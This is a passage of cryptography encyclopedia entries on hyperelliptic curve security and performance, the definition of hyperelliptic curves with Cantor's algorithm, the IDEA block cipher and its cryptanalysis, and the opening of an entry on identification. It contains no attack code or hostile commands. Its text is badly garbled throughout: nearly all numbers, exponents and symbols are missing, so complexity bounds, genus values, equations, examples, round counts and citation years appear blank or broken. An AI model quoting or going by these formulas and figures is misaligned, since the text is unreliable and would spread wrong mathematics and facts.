tions, it has been possible to reduce the running time of the for non-hyperelliptic curves of genus g. This had a signif-
index calculus algorithm. The fastest known index calculus icant impact on the security of non-hyperelliptic curves
variation known at present takes time of genus , since their discrete logarithm problem could
now be solved in time O(q) (these curves have equations
(q g )

O
of degree ). Since this is essentially the same running time
to solve the discrete logarithm problem in the Jacobian of required by curves of genus , but with a significantly more
an hyperelliptic curve of genus g. costly group arithmetic, non-hyperelliptic curves of genus
For curves of genus , the (best possible) complexity are no longer considered for cryptographic applications.
of index calculus techniques reduces to that Pollards rho

method, but with a constant factor larger than the / Curves over Field Extensions
of Pollard . As a consequence, genus curves defined Gaudrys technique[] to perform an index calculus algo-
over prime fields and fields of (large) prime extension rithm on curves defined over field extensions Fqm although
degree are generally considered secure against index cal- mainly intended for the elliptic curve discrete logarithm
culus attacks (for fields of small extension degree, see the problem, also applies naturally to curves of higher genus.
next subsection). By constructing the factor base using points over Fq (rather
Given the impact of these attacks on the security of than Fqm ), it becomes possible to treat the genus g curve
the hyperelliptic curves, more attention is given to curves over Fqm as if it were a genus mg hyperelliptic curve defined
of genus than those of genus and . Recent imple- over the field Fq . By using a two large primes variation of
mentation results show that genus and curves can still index calculus to these factor bases, one obtains a running
be of cryptographic interest in some cases (Hyperelliptic /mg ).
time of O(q
Hyperelliptic Curve Security H
This approach is particularly effective for curves of hyperelliptic curves of the same genus, the question arose
genus over quadratic field extensions. In that case the as to which hyperelliptic Jacobians could be mapped to
complexity of the discrete logarithm decreases to O(q / ), non-hyperelliptic ones, and how this could be done.
down from the O(q ) complexity of Pollards method.

The first (and so far only) work to present an answer is
For other combinations of genus and degree of the field due to Smith []. It consists in a technique to map Jaco-
extension, the practicality of this attack is still unclear (due bians of hyperelliptic curves of genus in the real model to
to large constant factors), but it remains a concern. As a Jacobians of non-hyperelliptic ones (again of genus ). The
consequence, it is generally preferred to avoid small exten- probability of success of this attack depends heavily on the
sion degrees when choosing curves that will be used for factorization type of the equation defining the hyperelliptic
cryptographic applications. curve (over the field Fq ).
The attack always produces a non-hyperelliptic curve
Special-Purpose Algorithms of genus , but is successful only when the field over which
Some families of curves have been found to be susceptible the curve is defined remains the same. In that case, the dis-
to more specialized attacks than Pollards method and the crete logarithm problem can be solved in time O(q) using
various index calculus algorithms. These families of curves Diems attack. If the field over which the non-hyperelliptic
should generally be either avoided for cryptographic appli- curve is defined changes, the new field is an extension of
cations, or their specific security requirements should be Fq , and the index calculus attack becomes slower than it
taken into account for example in the case of pairing- was on the hyperelliptic curve (hence the attack fail).
H
based cryptosystems. The probability of success for a randomly chosen
hyperelliptic curves defined over a field Fq is on average
Weil and Tate Pairing Attacks close to % (in fact .%), but this varies wildly
The pairing-based attacks by Frey and Rck [] and depending on the factorization type of the defining equa-
Menezes, Okamoto, and Vanstone [] can also be tion. If the polynomial F(x) defining the curve (as y =
applied to supersingular hyperelliptic curves, reducing the F(x)) splits over Fq , success is almost certain (the prob-
HECDLP to a discrete logarithm problem over the field ability of success is (/) ). On the other hand, if
Fqk with k not too large. As in the case of elliptic curves, F(x) contains an irreducible factor of degree or , or
it is always possible to define such a pairing, but for most has exactly one irreducible factor of degree , then the
curves the value of k is too large for the problem to be attack always fails. The remaining types of factorization
tractable in the finite field (not to mention the cost of have intermediate probabilities of success.
computing the pairing itself). As a result of this attack, it is recommended not to
At the same time, the ability to compute efficient Weil choose the equation of a hyperelliptic curve of genus
and Tate pairings for some hyperelliptic curves [] opens completely at random, but to ensure that it factors in
the possibility of using pairing-based cryptosystems built certain ways.
upon those groups. So far it is not known if the attack of Smith can be
broadened to include a larger proportion of the genus
Weil Descent curves, or if it can be applied in even characteristic. It is
The Weil descent attack is another approach that can be not yet known how to do similar constructions for curves
carried over from the elliptic curve discrete logarithm of higher genus.
problem to the hyperelliptic curve discrete logarithm prob-
lem. Only a few papers deal with Weil descent attacks on Recommended Reading
hyperelliptic curves [, , ]. For genera higher than , it . Adleman LM, DeMarrais J, Huang MD () A subexpotential
would seem to be more difficult to perform a Weil descent algorithm for discrete logarithms over hyperelliptic curves of
attack, in the sense that the proportion of isomorphism large genus over GF(q). Theor Comput Sci :
. Diem C () Index calculus in class groups of plane curves of
classes of curves that are at risk is lower than in the ellip-
small degree. Algorithmic Number Theory Symposium ANTS
tic curve case. However, the possibility of such an attack VII, Lecture Notes in Computer Science :. Springer,
remains present, and it is therefore natural to tread care- Berlin
fully before using extension degrees where a Weil descent . Diem C, Thom E () Index calculus in class groups of non-
attack would be possible in the context of elliptic curves. hyperelliptic curves of genus three. J Cryptol :
. Enge A () Computing discrete logarithms in high-genus
hyperelliptic Jacobians in provably subexponential time. Math
Curve Mappings Comput ():
Following the realization that the discrete logarithm prob- . Enge A, Gaudry P () A general framework for subexponen-
lem on non-hyperelliptic curves may be weaker than on tial discrete logarithm algorithms. Acta Arithmet :
H Hyperelliptic Curves
. Enge A, Gaudry P, Thom E () An L (/) discrete logarithm Related Concepts

algorithm for low degree curves. preprint Elliptic Curves
. Frey G, Rck H () A remark concerning m-divisibility and
the discrete logarithm problem in the divisor class group of
curves. Math Comput (): Denition
. Galbraith SD () Weil descent of Jacobians. Discrete Appl Similarly to elliptic curves, hyperelliptic curves have been
Math (): suggested for cryptographic applications []. There are
. Gaudry P () An algorithm for solving the discrete loga- key-exchange, signature, and enciphering schemes that
rithm problem on hyperelliptic curves. Advances in cryptology
make use of groups associated to hyperelliptic curves.
EUROCRYPT , Lecture Notes in Computer Science ,
pp. . Springer, Berlin The rational point subgroup of the Jacobian variety of a
. Gaudry P (in press) Index calculus for abelian varieties and the hyperelliptic curve [, , ]. In some cases, the perfor-
elliptic curve discrete logarithm problem. J Symbol Comput mance of these systems can rival that of elliptic curves.
. Gaudry P, Thom E, Thriault N, Diem C () A double large There is also primality proving algorithms that make
prime variation for small genus hyperelliptic index calculus.
use of hyperelliptic curves by Adleman and Huang, but this
Math Comput ():
. Granger R, Hess F, Oyono R, Thriault N, Vercauteren F () method is less efficient than the elliptic curve one, and as a
Ate Pairing on Hyperelliptic Curves. EUROCRYPT , Lec- result is chiefly of theoretical interest.
ture Notes in Computer Science :. Springer, Berlin
. Menezes A, Okamoto T, Vanstone S (), Reducing ellip- Theory
tic curve logarithms in a finite field. IEEE Trans Inf Theor,
A hyperelliptic curve C of genus g over a field F is defined
IT-():
. K. Nagao, Index calculus attack for Jacobian of hyperelliptic by a Weierstra equation of the form
curves of small genus using two large primes. Jpn J Ind Appl
Math ():
C/F : y + h(x)y = f (x) ()
. Pohlig S, Hellman M () An improved algorithm for comput-
such that:
ing logarithms over GF(p) and its cryptographic significance.
IEEE Trans Inf Theor : . The curve is absolutely irreducible i.e., the polyno-
. Pollard J () Monte Carlo methods for index computation
mial y + h(x)y f (x) does not factor over the alge-
(mod p). Math Comput :
. Smith B, Isogenies and the discrete logarithm problem on Jaco-
braic closure F of F and is non-singular i.e., has
bians of genus hyperelliptic curves. Advances in Cryptol- no singular points defined over F. Singular points are
ogy EUROCRYPT , Lecture Notes in Computer Science simultaneous solutions (x , y ) to the system
:. Springer, Berlin

y + h(x)y f (x) =
. Thriault N () Weil descent attack for Kummer extensions.

J Ramanujan Math Soc : y + h(x) =

. Thriault N () Index calculus attack for hyperelliptic curves

df (x)
of small genus. Advances in cryptology ASIACRYPT ,

dh(x)
Lecture Notes in Computer Science :. Springer, Berlin dx y dx =

. Thriault N () Weil descent for Artin-Schreier curves.
preprint,
Note that the second and third equations are the par-
. Thriault N (with Avanzi R), Towards an exact cost analysis of tial derivatives of the curve equation with respect to the
index calculus algorithms. Presentation at ECC variables x, respectively y. When h(x) = (and thus
char F ), this is equivalent to the requirement that f
be square-free.
. deg h(x) g + , and deg f (x) = g + (imaginary
Hyperelliptic Curves model) or g + (real model). Furthermore,
a. In the imaginary model:
Roberto Avanzi , Nicolas Thriault f (x) can be taken monic

Ruhr-Universitat Bochum, Bochum, Germany If char F is , deg h(x) g, otherwise via the

Departamento de Matemtica, Universidad del Bo-Bo, change of variables y y h(x)/, it can be
Talca, Chile assumed that h(x) = .
b. In the real model:
Synonyms If char F is odd, f (x) can be made monic
HEC acronym is often used for hyperelliptic curves; Some- If char F is even, h(x) can be made monic, with
times, however, it also stands for hyperelliptic curve cryp- deg h(x) = g + and either
tography. For the latter concept the acronym HECC is often deg f (x) = g + with leading coefficient
used e + e for some e F
Hyperelliptic Curves H
or The divisor class group PicC (L) of C over L of degree

deg f (x) g + zero is the quotient of the group of degree zero divisors
DivC (C) by the principal divisors. It is also called the
From this definition it is clear that the elliptic curves
Picard group of C.
are in fact hyperelliptic curves of genus one. The set of
The degree zero divisors on the curve, i.e., formal sums
rational points of the curve C over a field L F is defined,
PC(L) mP P with almost but a finite amount of the coef-
similarly to the case of elliptic curves, as the set
ficients vanishing and the sum PC(L) mP = . A divisor
D is L-rational if it is invariant under the action of auto-
C(L) = {(x, y) L L : y + h(x)y f (x) = } {}.
morphisms of Gal(L/L) in other words the points with
However, this set does not in general form a group in fact nonzero coefficients are not necessarily all defined over L
it is a group only if the genus is one. but if one is present, the whole Galois orbit containing it
However, the inverse of a point can be defined. Let must be in the divisor and with the same coefficients.
P = (x, y) be a point on C. Define w(P) = (x, y), which The principal divisors are the divisors associated to
is also a point on C. The map : P (P) is called L-rational functions on the curve. That is, if r(x, y) is a
the hyperelliptic involution. It satisfies ((P)) = P for all rational function on C and P is a point on C(L), then mP
points P on C. is defined as zero if the function r(x, y) does not vanish
Even though protocols designed around real hyperel- nor has a pole at P; is equal to the order of the zero if
r(x, y) vanishes at P; and is equal to minus the order of
H
liptic curves have been proposed, for cryptographic appli-
cations, the imaginary model is more commonly used. The the pole otherwise. Under this definition, PC(L) mP P is
treatment in this section is therefore restricted to imagi- the principal divisor associated to r(x, y).
nary curves. Furthermore, only curves defined over finite Mumford introduced a representation of the ele-
fields are considered (although the algebraic closures of ments of the divisor class group as polynomial pairs, for
those fields also play a role). which Cantor provided an explicit arithmetic algorithm.
Mumfords representation is a one-to-one correspondence
General Curve Isomorphisms between the elements of the divisor class group and the
Two hyperelliptic curves of genus g defined by Weierstrass pairs [U(t), V(t)] of polynomials over L satisfying:
equations . U(t) is monic.

C : y + h(x)y f (x) = () . deg V(t) < deg U(t) g.
. V(t) + V(t)h(t) f (t) is a multiple of U(t).

C : y + h(x)y f (x) = ()
At the core of this correspondence, there is the follow-
ing identification of such a pair with a divisor: If U(t) =
are isomorphic over a field L F (which also admits the i=k (t xi ) i with the xi pairwise distinct, then the
m
case L = F) if there exists a map of the form pair [U, V] is associated to the divisor having the points
: (x, y) (s x + b, s(g+) y + A(x)) () (x , V(x )), (x , V(x )), . . ., (xk , V(xk )) on its finite sup-
port, with multiplicities m , m , . . . , mk respectively. Note
from the first curve to the second one, with s L , b L that if a point P appears in the support of such a divisor,
and A(x) L[x] is a polynomial of degree at most g. A then its inverse (P) does not, and all multiplicities are
transformation of the type is called an admissible change nonnegative. The pair [U(t), V(t)] is said to represent the
of variables. semi-reduced divisor D. A reduced divisor is a semi-reduced
divisor that additionally satisfies deg U(t) g. In each
Group Law divisor class there always exists a unique reduced element.
As mentioned above, in general the set of points of a hyper- Cantors algorithm is given as Algorithm . Note, how-
elliptic curve does not form a group. To obtain a group ever, that the algorithm is seldom used in this form.
from a hyperelliptic curve C, it is necessary to consider its Instead, several optimizations are usually performed. For
divisor class group PicC (L) instead, which is isomorphic instance, the field operations implicit in all the polyno-
to the L-rational point subgroup of Jacobian variety of the mial operations are made explicit, where one considers
curve C. usually only the most common case (where the polyno-
The elements of the divisor class group are quotient mials Ui and Vi are of maximal degree and have no com-
classes of formal sums of points on the curve these sums mon roots), and all redundant operations (computations
are called divisors. of coefficients that have no impact on the final result or
H Hyperelliptic Curves
duplicate operations) are not performed. There is an exten- Examples

sive, and still growing, literature on these explicit formulas
First Example
for hyperelliptic curves, a field that was initiated by Robert
Consider the curve
Harley.

C : y = x +x + x + x
Group Order and Structure
Let C/Fq be a hyperelliptic curve of genus g defined over over F . It is easy to verify that this curve is non-singular
the finite field with q elements. The structure of the Fq - (the polynomial x + x + x + x is a square-free).
rational divisor class group is of the form The points on this curve are
, (, ), (, ), (, ), (, ), (, ), (, ), (, ),
Z Z Z
PicC (Fq ) , (, ), (, ), (, ), (, ), (, ), (, ), (, ).
n Z n Z ng Z
The cardinality of divisor class group PicC (F ) is . This

where ni ni+ for i < g and for all i g one has is a prime number. Hence, all group elements except the
ni q . neutral element are generators of the group. One of them
By the HasseWeil Theorem, it is easy to obtain bounds is given as
on the number of points on the curve and its Jacobian,
called HasseWeil bounds as for elliptic curves: D := [ t t , t ]

. C(Fq ) q g q. in Mumfords representation. The first polynomial factors
.

PicC
g
q = O (q
g/
). as (t )(t ), so and are the x-coordinates of two
points on the curve. Evaluating the second polynomial at
Serre has given a sharper estimate for the first bound: x = and x = gives and . Indeed (, ) and (, ) are

C(Fq ) q g q. points on C.
Algorithm . Cantors operation for hyperelliptic divisor class groups

INPUT: Reduced divisors D = [U (t), V (t)] and D = [U (t), V (t)]
OUTPUT: Reduced divisor D = [U (t), V (t)], D = D + D
. Composition: [UC (t), VC (t)] = D + D (semi-reduced)
. Write d(t) = gcd(U , U , V + V + h) = r U + r U + r (V + V + h)
[Extended Euclidean Algorithm]
. U(t) U U /d
V +hV +f
. V(t) V + U
d
r (V + V ) + r d
mod UC
. Reduction: D = [U (t), V (t)] (reduced)
. while deg U(t) > g do
V +h V+f
. U(t) Monic ( U
)
. V(t) V + h mod U
. U (t) U, V (t) V
. return [U (t), V (t)]

Hyperelliptic Curves H
On the other hand, one can compute (using Cantors The steps of Cantors algorithm are depicted in Fig. . The
algorithm for instance), that D is the divisor composition is easy: simply collect all the points together,
giving the divisor D : = D + D = P + P + Q + Q .
[ t x , t ],
For the reduction, it is required to add (or subtract)
where the first polynomial is irreducible. This means that principal divisors, i.e., divisors of rational functions. One
the finite support of this divisor consists of two points such function is the only cubic that passes through the four
defined over F , which are Galois conjugates. Yet, the points P , P , Q , and Q . This curve intersects the hyper-
divisor itself is F -rational. elliptic curve in two further points, which can be called
(R ) and (R ), where R and R are two other points on
Second Example the curve. Since P + P + Q + Q + (R ) + (R ) is
It is also possible to give a graphical example of divisor a principal divisor, it is equivalent to the zero divisor in the
composition and reduction: Consider the following genus divisor class group, and thus (R ) + (R ) must be
two curve (over the field of real numbers): the opposite of D. In order to invert (R ) + (R ) ,
observe that for any point P, the divisor P + (P)

C : y = x x x + x + x . is the principal divisor corresponding to the equation of a
vertical line, and thus the inverse of (R ) + (R )
Suppose that one needs to add the two reduced divi- is R + R , which gives the reduced divisor corre-
sors D = P + P and D = Q + Q on C. sponding to the sum of D and D .
H
Q2 Q2
P2 P2
P1 Q1 P1 Q1
Q2 Q2
P2 P2 R2
w(R1) w(R1)
P1 Q1 P1 Q1
R1
w(R2) w(R2)
Hyperelliptic Curves. Fig. Addition of two reduced divisors on an hyperelliptic curve

H Hyperelliptic Curves Performance
Recommended Reading than on an elliptic curve. Explicit construction methods

. Avanzi R, Cohen H, Frey G, Lange T, Nguyen K, Vercauteren F of varieties with rational point groups of a given order
() Handbook of elliptic and hyperelliptic curve cryptogra- are better understood for elliptic curves than for higher
phy. CRC Press, Boca Raton
genus varieties. The group operations were expected to be
. Blake IF, Seroussi G, Smart NP () Advances in elliptic curve
cryptography. London Mathematical Society Lecture Note Series
much slower than for elliptic curves, to the point that it was
, Cambridge University Press, Cambridge expected hyperelliptic curves would offer no performance
. Jacobson M Jr, Menezes A, Stein A () Hyperelliptic curves advantage over elliptic curves [].
and cryptography. In: High Primes and Misdemeanors: Lec- However, the situation has considerably changed in the
tures in Honour of the th Birthday of Hugh Cowie Williams,
last few years. Point counting algorithms can now deter-
Fields Institute Communications , American Mathematical
Society, pp. , Providence
mine the cardinality of genus two curves of cryptographi-
. Koblitz N () Hyperelliptic cryptosystems. J Cryptol : cally good order in reasonable time: see for instance [],
. Menezes A, Wu Y, Zuccherato R () An elementary introduc- and http://www.loria.fr/~gaudry/record/ for a recent
tion to hyperelliptic curves. In Algebraic aspects of cryptography, record. For curves defined over prime fields, it is possible
Springer, New York
to count points in curves of genus two, or use the com-
. Washington L () Elliptic curves: number theory and cryp-
tography, nd edn. CRC Press, Boca Raton
plex multiplication (CM) method for genus two [, ] and
three []. All these methods have been improved consider-
ably since their publication. For the genus two case, Streng
[] and Satoh [] provide the best algorithms to date.
Hyperelliptic Curves Performance
Application and Experimental Results

Roberto Avanzi , Nicolas Thriault The performance of the group operation has also been con-

Ruhr-Universitt Bochum, Bochum, Germany siderably improved. In many cases it matches that of elliptic

Departamento de Matemtica, Universidad del Bo-Bo, curves, and in other cases it even surpasses it. The purpose
Talca, Chile of this essay is to review some recent performance results
that show the competitiveness of hyperelliptic curves.
Synonyms
Efficiency of hyperelliptic curve cryptosystems Curves over Prime Fields
The classical method to perform explicit computations in
Related Concepts divisor class groups of hyperelliptic curves of genus at least
Elliptic Curve Cryptography; Elliptic Curves; two, namely Cantors algorithm [] is very slow compared
Hyperelliptic Curves to elliptic curve group operations, including the most basic
chord-and-tangent formulas in affine coordinates.
Denition The first efficient explicit formulas for genus two
Evaluating the performance of hyperelliptic curve cryp- curves, due to Harley [], were followed by very active
tosystems is done by comparing the time required to do the research on the explicit arithmetic of low genus curves.
encryption compared with other cryptosystems mainly Several optimization techniques were introduced, notably
those based on elliptic curves providing they offer the by Nagao [], reducing the number of field operations
same level of security. needed to implement a group operation, culminating in
the complete set genus two formulas by Lange []. Lange
Background was able to give fast formulas for hyperelliptic curves
Only years after suggesting to use of elliptic curves in affine coordinates using only one inversion, and then
for discrete logarithm-based cryptographic applications, the first instances of two different types of inversion-free
Koblitz [] proposed to use the Jacobian variety of hyper- weighted coordinates. As was first showed by Avanzi [],
elliptic curves for the same purpose. This is a natural using careful implementation of finite field arithmetic and
generalization since elliptic curves are in fact hyperelliptic Langes formulas it is possible to get a performance for
curves of genus one. genus two curves which is very close to that of elliptic
Hyperelliptic curves (of genus larger than one) have curves.
long been thought not to be competitive with elliptic Using theta functions and a Montgomery ladder,
curves because of some outstanding issues. It is more diffi- Gaudry [] derived fast formulas for the scalar multipli-
cult to count points on the Jacobian of a hyperelliptic curve cation in the Kummer surface associated to a genus two
Hyperelliptic Curves Performance H
curve. He described a scalar multiplication requiring only curve using the best doubling-based coordinate system
field multiplications per scalar bit. available. The conclusion of this comparison is that curves
In practice, a genus two hyperelliptic curve must be of genus two and three have similar performance, even
defined on a field with exactly half the size (in bits) of the after taking into account the increase in field sizes needed
field of definition of an elliptic curve if they are to provide because of index-calculus attacks on genus three hyperel-
the same security level. From this observation, Gaudrys liptic curves, and they are both faster than elliptic curve
formulas would be expected to yield performances simi- (often by as much as %). In fact, in some cases genus
lar to that of elliptic curve scalar multiplication methods three curves are the fastest this depending mainly on the
costing roughly . field multiplications per scalar bit. As relation between finite field sizes in relation to the granu-
pointed out by Bernstein [, Part I], such an analysis is in larity of the target architecture of the implementation. In
fact flawed, but since of these multiplications are done the same paper, the performance of the group arithmetic
with constants coming from the curve equation, choos- for curves of genus four is seen to be comparable to that
ing the right curve parameters allows Gaudrys method to of elliptic curves. As with curves over prime fields, the last
outperform Montgomery ladders for elliptic curves. word has yet to be said about the performance of hyper-
The introduction of a new model for elliptic curves elliptic curves over binary fields, but it can be safely said
by Edwards [] made the competition between genus one that low genus hyperelliptic curves are a sound alternative
and higher genus curves more interesting. Bernstein and to elliptic curves.
Lange investigated these curves in depth and, along with
H
a number of other authors, devised explicit formulas for
Edwards curves. These formulas offer slightly faster addi- Recommended Reading
tion and doubling than the best previously known methods . Avanzi R () Aspects of hyperelliptic curves over large prime
for elliptic curves. These gains allowed elliptic curves to be fields in software implementations. Cryptographic Hardware
and Embedded Systems CHES , Lecture Notes in
again faster than genus two curves. However, the perfor-
Computer Science , pp. . Springer, Berlin
mance differences are still relatively contained, and the last . Avanzi R, Thriault N () Effects of optimizations for soft-
word in this race remains to be written. ware implementations of small binary field arithmetic. Arith-
metic of Finite Fields WAIFI , Lecture Notes in Computer
Curves over Binary Fields Science , pp. . Springer, Berlin
. Avanzi R, Thriault N, Wang Z () Rethinking low genus
Just as Cantors algorithm could be adapted to the case
hyperelliptic Jacobian arithmetic over binary fields: interplay of
of hyperelliptic curves over fields of characteristic two by field arithmetic and explicit formul. J Math Cryptol :
Koblitz, explicit formulas for divisor addition and doubling . Birkner P () Efficient divisor class halving on genus two
were also devised for the even characteristic case. curves. Selected Areas in Cryptography SAC , Lecture
The impact of characteristic two on divisor doubling is Notes in Computer Science , pp. . Springer, Berlin
. Birkner P, Thriault N () Faster halvings in genus . Selected
particularly interesting. Since many operations in Cantors
Areas in Cryptography SAC , Lecture Notes in Computer
algorithm involve the squaring of polynomials, these parts Science , pp. . Springer, Berlin
of the algorithm become particularly efficient over binary . Birkner P, Thriault N () Efficient halvings for genus
fields. A striking example of the performance of doubling curves over binary fields. preprint,
over genus two curves if suitable curve parameters are . Cantor DG () Computing in the Jacobian of hyperelliptic
curves. Math Computation :
chosen is given in []. For an overview of genus two
. Bernstein DJ, Lange T. Series of talks on Elliptic vs. hyperelliptic
coordinate systems and formulas see []. . Fan X, Wollinger TJ, Wang Y () Efficient doubling on genus
Several authors [, , ] also adapted halving meth- curves over binary fields. Topics in Cryptology CT-RSA ,
ods from the elliptic curve setting to use them for genus Lecture Notes in Computer Science , pp. . Springer,
two and three curves. In many cases, divisor halvings can Berlin
. Gaudry P () Fast genus arithmetic based on Theta func-
be significantly faster than divisor doublings, thus signifi-
tions. J Math Cryptol :
cantly improving the performance of genus two and three . Edwards HM () A normal form for elliptic curves. Bull Am
scalar multiplication on these curves. Math Soc (N.S.) ():
Avanzi, Thriault, and Wang [] give an explicit curve . Gaudry P, Schost () Construction of Secure Random
arithmetic for genera up to four, with specific improve- Curves of Genus over Prime Fields. Advances in Cryptology
EUROCRYPT , Lecture Notes in Computer Science ,
ments for genus three and four curves. In turn, this is based
pp. . Springer-Verlag, Berlin
on a careful implementation of finite field of character- . Harley R () Fast arithmetic on genus two curves. Preprint
istic two for each required field size []. A comparison . Koblitz N () Hyperelliptic cryptosystems. J Cryptol
between curves of genus up to four was done, with each :
H Hyperelliptic Curves Performance
. Lange T () Formulae for arithmetic on genus hyperelliptic . Satoh T () Generating genus two hyperelliptic curves over
curves. Applicable Algebra in Engineering, Commun Comput large characteristic finite fields. Advances in Cryptology
: EUROCRYPT , Lecture Notes in Computer Science ,
. Lange T, Stevens M () Efficient doubling for genus two pp. . Springer, Berlin
curves over binary fields. Selected Areas in Cryptography . Smart N () On the performance of hyperelliptic cryptosys-
SAC , Lecture Notes in Computer Science , pp. . tems. Advances in Cryptology EUROCRYPT , Lecture
Springer, Berlin Notes in Computer Science , pp. . Springer, Berlin
. Mestre JF () Construction des courbes de genre a partir de . Streng M () Computing Igusa Class Polynomials. Preprint
leurs modules. Prog Math : . Weng A () Konstruktion kryptographisch geeigneter Kur-
. Nagao K () Improving group law algorithms for Jacobians of ven mit komplexer Multiplikation. PhD thesis, Universitt
hyperelliptic curves. Algorithmic Number Theory ANTS-IV, Gesamthochschule Essen, Germany
Lecture Notes in Computer Science , pp. . Springer,
Berlin
I
and Massey in []. It is a modified version of a
IBE previous design called PES (Proposed Encryption Stan-
dard) by the same authors [], with added strength against
Identity-Based Encryption differential cryptanalysis.
Background
IC Integrated Circuit Since its publication, IDEA resisted intensive cryptanalytic
efforts. In [], p. ], IDEA reduced to four rounds was
Trusted Boot claimed to be secure against differential attacks. Progress
in cryptanalyzing round-reduced variants was very slow,
starting with an attack on a two-round variant of IDEA
in [] by Meier, an improvement to . rounds by
Iceman Attack Daemen et al. [], then an attack on . rounds pub-
lished in [] by Borst et al. Impossible differential
Cold-Boot Attacks attack significantly improved previous results for and .
rounds and could break up to . rounds [] using the full
codebook and steps. Further progress was an attack
marginally breaking five rounds with a variant of meet-
IC-Integrated Circuit
in-the-middle attack due to Demirci et al. [] and using
chosen plaintexts, memory and steps of analysis.
Root of Trust
More recently rounds were cryptanalyzed with the full
codebook, . time and memory []. Also related
key attacks on rounds [] were developed requiring rela-
ID-Based Encryption tions between keys, with chosen plaintexts time
and . memory.
Identity-Based Encryption
In addition to these attacks, three relatively large and
easily detectable classes of weak keys were found: in
[], weak keys out of the keys were found to be
detectable with chosen plaintexts and steps using
IDEA differential membership tests, and in [], weak keys were
found to be detectable given chosen plaintexts with a
Alex Biryukov negligible complexity under differentiallinear member-
FDEF, Campus Limpertsberg, University of Luxembourg, ship tests. In another work, a class of keys detectable via
Luxembourg a boomerang membership of steps and queries was
found [].
Related Concepts
Block Ciphers; Differential Cryptanalysis; IPES; Theory
Weak Keys The key-schedule of the cipher is completely linear. The
main idea behind the design is the mix of non-commuting
Denition : addition mod (denoted by ), XOR (denoted
IDEA (previous name IPES) is a -bit, .-round non- by ), and multiplication mod ( )(denoted by ,
Feistel block cipher with -bit keys, proposed by Lai with ). These operations work with -bit words.
I Identication
One round of IDEA is split into two different half- . Demirci, H, Selccuk A, Tre E () A new meet-in-the-middle
round operations: key mixing (denoted by T) and M- attack on the IDEA block cipher. In: Matsui M, Zuccherato R
mixing denoted by M = s MA, where MA denotes a (ed) Selected areas in cryptography, SAC . Lecture notes in
computer science, vol . Springer, Berlin
multiplicationaddition structure and s denotes a swap of . Hawkes P () Differentiallinear weak key classes of IDEA.
two middle words (as usual the composition of transfor- In: Nyberg K (ed) Advances in cryptologyEUROCRYPT.
mations is applied from right to left, i.e., MA is applied first, Lecture notes in computer science, vol . Springer, Berlin,
and the swap s is applied to the result). T divides the -bit pp
. Hawkes P, OConnor L () On applying linear crypt-
block into four -bit words X ,X ,X ,X and mixes the key
analysis to IDEA. In: Kim K, Matsumoto T (eds) Advances
words Z ,Z ,Z ,Z with the data using and : in cryptographyASIACRYPT. Lecture notes in computer
T science, vol . Springer, Berlin, pp
(X , X , X , X ) (X Z , X Z , X Z , X Z ) . Kelsey J, Schneier B, Wagner D () Key-schedule crypt-
analysis of IDEA, G-DES, GOST, SAFER, and Triple-DES. In:
The transform MA provides diffusion between different Koblitz N (ed) Advances in cryptologyCRYPTO. Lecture
words and mixes in two more key words Z ,Z : notes in computer science, vol . Springer, Berlin, pp
. Lai X () On the design and security of block ciphers. Doc-
Y = ((X X ) Z (X X )) Z , toral dissertation, Swiss Federal Institute of Technology, Zurich
Y = Y ((X X ) Z ) , . Lai X, Massey JL () A proposal for a new block encryp-
MA tion standard. In: Damgard IB (ed) Advances in cryptology
(X , X , X , X ) (X C , X C , X C , X C ).
Both MA and s are involutions. The full .-round IDEA Springer, Berlin, pp
. Lai X, Massey JL, Murphy S () Markov ciphers and differen-
can be written as
tial cryptanalysis. In: Davies DW (ed) Advances in cryptology
IDEA = T s (s MA T) = T s (M T) . EUROCRYPT. Lecture notes in computer science, vol .
The only changes between IDEA and its predecessor PES . Meier W () On the security of the IDEA block cipher.
are in the order of operations in the key mixing subround In: Helleseth T (ed) Advances in cryptologyEUROCRYPT.
T: PES uses the order (,, , ), while IDEA uses the pp
order (, , , ), and in the swap of the words after the
MA subround. In IDEA, the outer words X , X are not
swapped. These changes were motivated by a differential
attack on PES given in [].
Identication
Recommended Reading
Carlisle Adams
. Biham E, Biryukov A, Shamir A () Miss in the middle
attacks on IDEA and Khufu. In: Knudsen LR (ed) Fast software School of Information Technology and Engineering
encryption, FSE. Lecture notes in computer science, vol . (SITE), University of Ottawa, Ottawa, Ontario, Canada
. Biham E, Dunkelman O, Keller N () A new attack on -
round IDEA. FSE , Luxembourg, pp Related Concepts
. Biham E, Dunkelman O, Keller N () A unified approach to Authentication; Certificate; Certification Authority;
related-key attacks. FSE , Lausanne, pp Entity Authentication; Identity Verification Protocol;
. Biryukov AJN Jr, Preneel B, Vandewalle J () New weak-
Impersonation Attack; Public Key Infrastructure
key classes of IDEA. In: Deng RH, Qing S, Bao F, Zhou J (eds)
International conference on information and communications
security, ICICS . Lecture notes in computer science, vol Denition
. Springer, Berlin, pp Identification is the claim by an entity of some particu-
. Borst J, Knudsen LR, Rijmen V () Two attacks on reduced lar identity. The claimant interacts with a verifier, typically
IDEA (extended abstract). In: Fumy W (ed) Advances in
cryptologyeurocrypt. Lecture notes in computer science,
offering corroborating evidence for the claim, so that the
vol . Springer, Berlin, pp verifier will come to rely upon the claim for some purpose.
. Daemen J, Govaerts R, Vandewalle J () Cryptanalysis of
. rounds of IDEA (extended abstract). Technical report /, Theory
Department of electrical engineering, ESAT-COSIC
A name, or identity, is a set of information that distin-
. Daemen J, Govaerts R, Vandewalle J () Weak keys for IDEA.
In: Stinson DR (ed) Advances in cryptologyCRYPTO.
guishes a specific entity from every other within a par-
Lecture notes in computer science, vol . Springe, Berlin, ticular environment. In some environments, the name
pp may just be a given name; in other environments, it will
Identity Authentication I
be a given name and a family name; in still others, it In a hierarchical namespace, the Naming Authority is
may include additional data such as a street address, or responsible for binding a unique identity to only a subset of
may be some other form entirely (e.g., an employee num- the entities; these entities in turn are responsible for bind-
ber). In all cases, however, the identity depends upon the ing unique identities to other groups of entities, and so on,
environment: the size and characteristics of the environ- until every entity has a unique identity. The identity syntax
ment determine the amount of information required for is typically flexible and extensible. Examples of hierarchi-
uniqueness []. cal namespace schemes include e-mail address, IP address,
Identification is the claim of an identity. Each of two and X. distinguished name [].
entities is involved in this process: the claimant claims an In general, there is a trade-off between uniqueness and
identity either explicitly or implicitly (I am x), and the usability (user-friendliness) in a flat namespace. Further-
verifier makes a corresponding claim with respect to the more, for many large domains in particular, the domain
same identity (The entity with whom I am dealing is X, of the entire world there is no single recognized naming
where X is either x or a mapping from x to some other authority. Consequently, hierarchical schemes are typically
namespace that is meaningful to the verifier). In order used in practice in large-scale environments.
for the verifier to believe its own claim enough to rely
